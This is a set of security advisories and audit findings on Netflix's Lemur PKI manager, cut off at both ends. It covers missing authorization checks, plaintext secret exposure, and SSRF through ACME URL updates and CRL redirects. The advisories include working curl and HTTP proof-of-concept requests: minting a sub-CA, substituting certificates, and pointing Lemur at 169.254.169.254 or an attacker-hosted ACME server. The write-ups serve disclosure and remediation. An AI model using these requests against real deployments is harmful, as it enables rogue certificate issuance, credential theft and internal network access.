   curl -X POST https://lemur.local/api/1/certificates/<cert_id>/export \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'

4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. eve had no permission over admin's certificate, yet successfully exported its public material.

5. Inspect the audit log table or lemur logs list:

   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = <cert_id> ORDER BY logged_at DESC LIMIT 1;"

The log row shows log_type = 'key_view' for eve against admin's certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.

Summary

Repo under test: https://github.com/Netflix/lemur

When ADMIN_ONLY_AUTHORITY_CREATION=False (an explicitly supported and documented configuration), POST /api/1/authorities with type=subca never verifies that the caller holds AuthorityPermission on the supplied parent authority. The parent field is resolved by AssociatedAuthoritySchema via a raw fetch_objects(Authority, data) lookup, then passed straight through service.create → mint → cryptography-issuer.create_authority, which loads options["parent"].authority_certificate.private_key and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

Affected route

POST /api/1/authorities (with type=subca)

Affected code

• lemur/authorities/views.py:231 — gates only on AuthorityCreatorPermission() + StrictRolePermission(); no AuthorityPermission on data['parent']
• lemur/authorities/schemas.py:58 — parent = fields.Nested(AssociatedAuthoritySchema); validate_subca only checks presence
• lemur/schemas.py:107 — AssociatedAuthoritySchema.get_object → fetch_objects(Authority, data) resolves any authority by id/name with no permission check
• lemur/plugins/lemur_cryptography/plugin.py:40 — private_key = options["authority"].authority_certificate.private_key (set from options["parent"]) signs the new intermediate
• lemur/auth/permissions.py:62 — AuthorityCreatorPermission becomes always-allow when ADMIN_ONLY_AUTHORITY_CREATION=False
• lemur/certificates/views.py:538 — is_private_authority (true for cryptography-issuer) skips USER_DOMAIN_AUTHORIZATION_PROVIDER for subsequent leaf issuance

Impact

In deployments that set ADMIN_ONLY_AUTHORITY_CREATION=False to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

• Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin.
• Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The ADMIN_ONLY_AUTHORITY_CREATION documentation does not warn operators of this consequence.

Root cause

AuthoritiesList.post evaluates AuthorityCreatorPermission (a global "may create authorities" flag) and StrictRolePermission, but never evaluates AuthorityPermission(parent.id, parent.roles) against the caller-supplied parent. AssociatedAuthoritySchema is a pure lookup schema with no authz hook, and neither authorities.service.create nor mint re-check before invoking issuer_plugin.create_authority(options). The bundled cryptography-issuer then uses the parent's stored private key directly.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• parent is loaded via AssociatedAuthoritySchema (raw fetch_objects), passed unchecked through views.post → service.create → mint → plugin.create_authority → issue_certificate, where the parent authority's stored private key is read and used to sign the new intermediate.
• No call to AuthorityPermission(parent.id, ...) exists anywhere on this path.
• Precondition ADMIN_ONLY_AUTHORITY_CREATION=False is an explicitly supported config (docs/administration.rst:517).

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: ADMIN_ONLY_AUTHORITY_CREATION=False; attacker is an authenticated Lemur user holding any role other than read-only; <PARENT_AUTHORITY_ID> is any internal cryptography-issuer root CA the attacker holds no role on; <ATTACKER_ROLE> is any role the attacker already belongs to.

curl -sS -X POST "<TARGET_BASE_URL>/api/1/authorities" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": <PARENT_AUTHORITY_ID>},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "<ATTACKER_ROLE>"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'

The response contains a new authority whose authority_certificate is signed by <PARENT_AUTHORITY_ID>'s private key. The caller is recorded as creator and holds <ATTACKER_ROLE> on it, so POST /api/1/certificates against the new authority succeeds (and skips allowed_issuance_for_domain because is_private_authority is true).

Static-trace validation command from the source report:

grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  && sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_022, finding cluster lemur-subca-parent-authz, 5/100 runs).

Suggested fix

In AuthoritiesList.post (or authorities.service.create), when data.get('parent') is present, enforce AuthorityPermission(parent.id, [r.name for r in parent.roles]).can() before invoking the issuer plugin, regardless of ADMIN_ONLY_AUTHORITY_CREATION. Additionally, update the ADMIN_ONLY_AUTHORITY_CREATION documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any type=subca creation independent of the global flag.

Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a replaces[] (alias replacements) array that is resolved to live Certificate ORM objects with no ownership or CertificatePermission check on the referenced certificates. The SQLAlchemy Certificate.replaces append listener then immediately sets victim.notify = False and populates victim.replaced. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic certificate_rotate Celery task deploys the attacker's certificate (endpoint.certificate.replaced[0]) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

Affected route

POST /api/1/certificates POST /api/1/certificates/upload PUT /api/1/certificates/<id>

Affected code

• lemur/certificates/schemas.py:402 — replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True) accepted on create/upload/edit
• lemur/schemas.py:152 — AssociatedCertificateSchema resolves any certificate by id/name via fetch_objects(Certificate, data) with no permission check
• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates /certificates/upload; no check on data['replaces']
• lemur/certificates/models.py:506 — @event.listens_for(Certificate.replaces, 'append') sets value.notify = False on the victim
• lemur/certificates/service.py:277 — get_all_pending_reissue() filters not_(Certificate.replaced.any()), excluding the victim
• lemur/certificates/cli.py:347 — request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit) deploys the attacker cert
• lemur/common/celery.py:638 — periodic certificate_rotate task runs cli_certificate.rotate(..., commit=True)
• lemur/deployment/service.py:17 — endpoint.source.plugin.update_endpoint(endpoint, new_cert) pushes to ELB/CloudFront/ACM/K8s

Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in replaces.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled certificate_rotate Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

Root cause

AssociatedCertificateSchema.get_object calls fetch_objects(Certificate, data) and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved replaces list to enforce CertificatePermission before the model assigns them, and the Certificate.replaces append event listener mutates the victim row (notify = False) as a side effect of ORM collection assignment. The direct revoke endpoint does enforce CertificatePermission, but this replaces path achieves an equivalent or worse outcome while bypassing it entirely.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• replaces is accepted in CertificateInputSchema / CertificateUploadInputSchema and resolved via fetch_objects(Certificate, ...) with no per-object authorization.
• grep -n CertificatePermission lemur/certificates/views.py shows the check is applied to PUT/DELETE/revoke/export paths but never to the replaces payload of POST /certificates or POST /certificates/upload.
• The Celery certificate_rotate task and cli.rotate() consume Endpoint.replaced.any() unconditionally and deploy replaced[0] with commit=True.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only (default StrictRolePermission config). <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
        "replaces": [{"id": <VICTIM_CERT_ID>}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving <VICTIM_CERT_ID>.

Static-trace validation command from the source report:

grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  && grep -n 'CertificatePermission' lemur/certificates/views.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_083, finding cluster lemur-replaces-unauth, 7/100 runs).

Suggested fix

Before persisting replaces/replacements on certificate create, upload, and edit, iterate each referenced certificate and enforce the same CertificatePermission(owner_role, cert.roles) check used by the revoke endpoint (views.py:1677-1685); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the value.notify = False side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an audit_log entry whenever a certificate is marked as replaced.

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:

• Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
• Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
• Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Summary

The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (_validate_revocation_url() in lemur /certificates/verify.py) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

Affected version

Tested against main (the commit that introduced _validate_revocation_url). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in main. Please map the affected range to whichever release will first contain _validate_revocation_url.

Bypass 1 — HTTP redirect (deterministic)

The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:

# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   

The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns 302 Location: http://169.254.169.254/.... requests follows it to the internal target the guard never inspected.

Bypass 2 — DNS rebinding / TOCTOU (probabilistic)

The guard resolves once during validation; the fetch re-resolves independently:

# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (openssl ocsp -url <url>, verify.py:90-99).

Relationship to GHSA-54vg-pfh7-jq95

Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

Affected endpoint

POST /api/1/certificates/upload (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

PoC

1. Generate a cert with crlDistributionPoints = URI:http://attacker.example/crl.
2. That host returns 302 Location: http://169.254.169.254/latest/meta-data/... (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via POST /api/1/certificates/upload as an operator user.
4. Trigger lemur certificate check_revocation.
5. Observe the request reach the internal address (tcpdump -nni any host 169.254.169.254).

Impact

Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

Remediation

• allow_redirects=False on CRL fetches (or re-validate every redirect hop).
• Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
• Reject names with any internal A/AAAA record.

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

• JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
• Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
• The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
• Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

Field | Value -- | -- Title | Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header — defense-in-depth gap; chain-dependent ATO with secret disclosure Component | lemur/lemur/auth/service.py:130-137 CWE | CWE-347 (Improper Verification of Cryptographic Signature) Attack Prerequisite | Defense-in-depth gap on its own — no single-request exploit against PyJWT 2.x. Single-request ATO requires a separate disclosure issue that leaks LEMUR_TOKEN_SECRET, or a future migration to asymmetric signing without fixing this sink. Affected Versions | github.com/Netflix/lemur version = "1.9.0". Same code present in every prior release that has the auth/service.py:130 block.

Exploit Code & Lab Set-up

Lemur-jwt-alg-hardening.zip

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur API
    participant Disclosure as Disclosure surface
    participant Audit as Audit logging

    Note over Attacker,Lemur: "Today: PyJWT 2.x mitigation holds for alg=none"
    Attacker->>Lemur: "Bearer alg=none token with [payload]"
    Lemur->>Lemur: "pyjwt.decode raises (alg=none + non-None key)"
    Lemur-->>Attacker: "403 Forbidden"

    Note over Disclosure,Lemur: "Chain step: separate disclosure leaks LEMUR_TOKEN_SECRET"
    Attacker->>Disclosure: "trigger debug / SSRF / backup leak"
    Disclosure-->>Attacker: "LEMUR_TOKEN_SECRET value"

    Note over Attacker,Lemur: "Forge HS256 admin token with leaked secret"
    Attacker->>Lemur: "Bearer alg=HS256 admin token signed with leaked secret"
    Lemur->>Lemur: "algorithms=[HS256] (taken from header) — accepted"
    Lemur-->>Attacker: "200 OK, role=admin"

    Note over Audit: "alg=HS256 in audit log - no anomaly flag because attacker picks alg"

Summary

lemur.users.service.update() writes a user's new password as plaintext to the users.password column. The User model wires bcrypt hashing to SQLAlchemy's before_insert event but registers no equivalent listener for before_update, and service.update() does not call user.hash_password() after assigning the new value. Every password change performed through the admin-gated PUT /api/1/users/<id> endpoint persists the user's password to the database in cleartext.

Root Cause

lemur/users/models.py:

# line 38
class User(BaseModel):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
